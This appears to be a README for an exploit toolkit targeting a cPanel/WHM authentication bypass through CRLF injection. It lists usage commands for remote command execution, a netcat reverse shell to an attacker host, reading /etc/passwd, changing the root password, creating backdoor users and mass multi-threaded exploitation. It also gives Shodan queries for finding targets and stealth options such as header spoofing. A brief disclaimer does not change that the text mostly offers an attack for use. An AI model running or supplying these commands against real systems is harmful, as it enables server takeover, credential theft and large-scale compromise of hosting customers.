CVE-2026-41940 - cPanel/WHM Authentication Bypass Exploit

cPanel & WHM Edition - CRLF Injection to Authentication Bypass & Full Session Hijacking

Overview

This exploit leverages CVE-2026-41940, a critical authentication bypass vulnerability in cPanel/WHM. By injecting a crafted CRLF payload into the session management system, it achieves session hijacking, root access, and complete control over the hosting panel without any valid credentials.

Key Features

Category	Features
Exploitation	[+] Authentication Bypass via CRLF Injection [+] WHM Session Hijacking [+] Security Token Leakage [+] Instant Root Access
Post-Exploitation	[+] Account List Extraction (User + Domain) [+] Remote Command Execution (RCE) [+] Reverse Shell (netcat compatible) [+] File Reading (configs, logs, etc) [+] Root Password Change [+] New cPanel User Creation
Scanning	[+] Single Target Exploitation [+] Multi-Target Mass Scan [+] Multi-Threading (configurable threads) [+] Port Override Support
Stealth	[+] Random Delays Between Requests [+] X-Forwarded-For Spoofing [+] Custom User-Agent Support [+] Proxy Support (HTTP/HTTPS)
Usability	[+] Interactive WHM Shell (-i) [+] Colored Output (colorama) [+] Verbose/Debug Mode [+] Account List Export to File [+] Keep-Alive Session Thread [+] Retry Mechanism for Unstable Connections

Vulnerable Versions

Product	Versions	Status
cPanel & WHM	11.92 - 11.102	[+] Confirmed
cPanel & WHM	11.104 - 11.110	[+] Confirmed
cPanel & WHM	11.118 - 11.136	[!] Limited
cPanel & WHM	< 11.86	[+] Possibly vulnerable

Shodan Search

port:2087 "cPanel" "WHM"
port:2083 "cPanel"

Disclaimer: This tool is for authorized security testing and educational purposes only. Unauthorized access is illegal.

Installation

# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41940-POC-Exploit
cd CVE-2026-41940-POC-Exploit

# Install dependencies
pip3 install -r requirements.txt

# Run
python3 exploit.py -t https://example.com:2087

Usage Examples

# Basic exploitation (extract accounts)
python3 exploit.py -t https://192.168.1.100:2087

# Save accounts to file
python3 exploit.py -t https://192.168.1.100:2087 -o accounts.txt

# Verbose mode (debug output)
python3 exploit.py -t https://192.168.1.100:2087 -v

# Interactive WHM Shell (Recommended)
python3 exploit.py -t https://192.168.1.100:2087 -i

Interactive Shell Commands

[email protected] $ accounts          # List all cPanel accounts
[email protected] $ version           # Show cPanel version
[email protected] $ ls /home          # List directory
[email protected] $ cat /etc/passwd   # Read file
[email protected] $ exec id           # Execute command
[email protected] $ passwd NewPass123 # Change root password
[email protected] $ adduser test test.com pass123  # Create new user
[email protected] $ exit              # Exit shell

## Remote Command Execution

```bash
# Execute single command
python3 exploit.py -t https://192.168.1.100:2087 --cmd "id"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "cat /etc/passwd"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "whoami; hostname; uname -a"


# Read file
python3 exploit.py -t https://192.168.1.100:2087 --read /etc/passwd
python3 exploit.py -t https://192.168.1.100:2087 --read /home/example/config.php

Reverse Shell

# Attacker machine (listener)
nc -lvnp 4444

# Exploit (reverse shell)
python3 exploit.py -t https://192.168.1.100:2087 --reverse-shell 10.0.0.1:4444

Post-Exploitation Operations

# Change root password
python3 exploit.py -t https://192.168.1.100:2087 --passwd "NewRootPass123!"

# Create new cPanel user
python3 exploit.py -t https://192.168.1.100:2087 --adduser hacker hacker.com Pass1234

# Keep-alive session (maintain access)
python3 exploit.py -t https://192.168.1.100:2087 --no-keep-alive  # Disable auto keep-alive

Mass Exploitation (Multi-Target)

# Create targets file
echo "https://target1.com:2087" > targets.txt
echo "https://target2.com:2087" >> targets.txt
echo "https://10.0.0.5:2087" >> targets.txt

# Mass exploit with 20 threads
python3 exploit.py -l targets.txt --threads 20

# Mass exploit with command execution
python3 exploit.py -l targets.txt --threads 10 --cmd "id"

Advanced Options

# Custom port (non-standard)
python3 exploit.py -t https://example.com -p 8443

# Using proxy
python3 exploit.py -t https://192.168.1.100:2087 --proxy http://127.0.0.1:8080

# Custom user-agent for stealth
python3 exploit.py -t https://192.168.1.100:2087 -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

# Custom delay and retries
python3 exploit.py -t https://192.168.1.100:2087 --delay 5 --max-retries 5

# SSL verification (ignore self-signed by default)
python3 exploit.py -t https://192.168.1.100:2087 --ssl-verify

[<>] Command Line Arguments

Short	Long	Description	Default
-t	--target	Single target URL	Required (single)
-l	--target-file	File containing target list	Required (mass)
-p	--port	Override port	Auto-detect
-o	--output	Save account list to file	None
-v	--verbose	Enable debug output	False
-i	--interactive	Interactive WHM shell	False
	--proxy	HTTP/HTTPS proxy	None
-ua	--user-agent	Custom User-Agent	Random
	--cmd	Execute single command	None
	--reverse-shell	Reverse shell IP:PORT	None
	--passwd	Change root password	None
	--adduser	Create new user (USER DOMAIN PASS)	None
	--read	Read file from target	None
	--threads	Threads for mass scan	10
	--delay	Keep-alive interval (seconds)	3.0
	--max-retries	Max retries per request	3
	--no-keep-alive	Don't maintain session	False
	--ssl-verify	Verify SSL certificates	False

[i] Testing Environment

Docker (if you want to test safely)

docker run -d --name cpanel-test -p 2087:2087 cpanel/cpanel:102

Or with vulnerable version

docker pull cpanel/cpanel:11.102 docker run -d -p 2087:2087 cpanel/cpanel:11.102

Related Exploits

Check out my other exploit repositories:

• CVE-2026-24061
• CVE-2026-0073
• CVE-2026-29000

[R] Responsible Use

This toolkit is provided strictly for authorized security testing, red team engagements, and defensive research. By using this software, you agree to the following terms: